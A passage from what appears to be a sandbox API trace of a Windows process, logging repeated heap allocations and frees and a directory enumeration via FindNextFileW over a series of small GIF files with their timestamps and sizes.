(HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2b40 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1045ef0 [0069.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.135] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2b60 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1045ff8 [0069.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.135] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.135] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2b80 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1046100 [0069.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.136] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14579_.GIF", cAlternateFileName="")) returned 1 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2ba0 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1046208 [0069.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.136] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14580_.GIF", cAlternateFileName="")) returned 1 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.136] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2bc0 [0069.136] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1046310 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3100) returned 0x103ca28 [0069.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1042af8) returned 1 [0069.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.137] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14581_.GIF", cAlternateFileName="")) returned 1 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2be0 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1046418 [0069.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.137] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14582_.GIF", cAlternateFileName="")) returned 1 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2c00 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1046520 [0069.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.138] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8115e400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8115e400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14583_.GIF", cAlternateFileName="")) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2c20 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1046628 [0069.138] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14654_.GIF", cAlternateFileName="")) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14655_.GIF", cAlternateFileName="")) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d66b00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5d66b00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14656_.GIF", cAlternateFileName="")) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14691_.GIF", cAlternateFileName="")) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14692_.GIF", cAlternateFileName="")) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.138] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14693_.GIF", cAlternateFileName="")) returned 1 [0069.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14752_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14753_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14754_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd2f700, ftCreationTime.dwHighDateTime=0x1bd4f43, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fd2f700, ftLastWriteTime.dwHighDateTime=0x1bd4f43, nFileSizeHigh=0x0, nFileSizeLow=0x44, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14755_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14756_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14757_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14790_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14791_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14792_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14793_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14794_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14795_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14828_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14829_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14830_.GIF", cAlternateFileName="")) returned 1 [0069.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.139] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14831_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14832_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14833_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1796d500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, 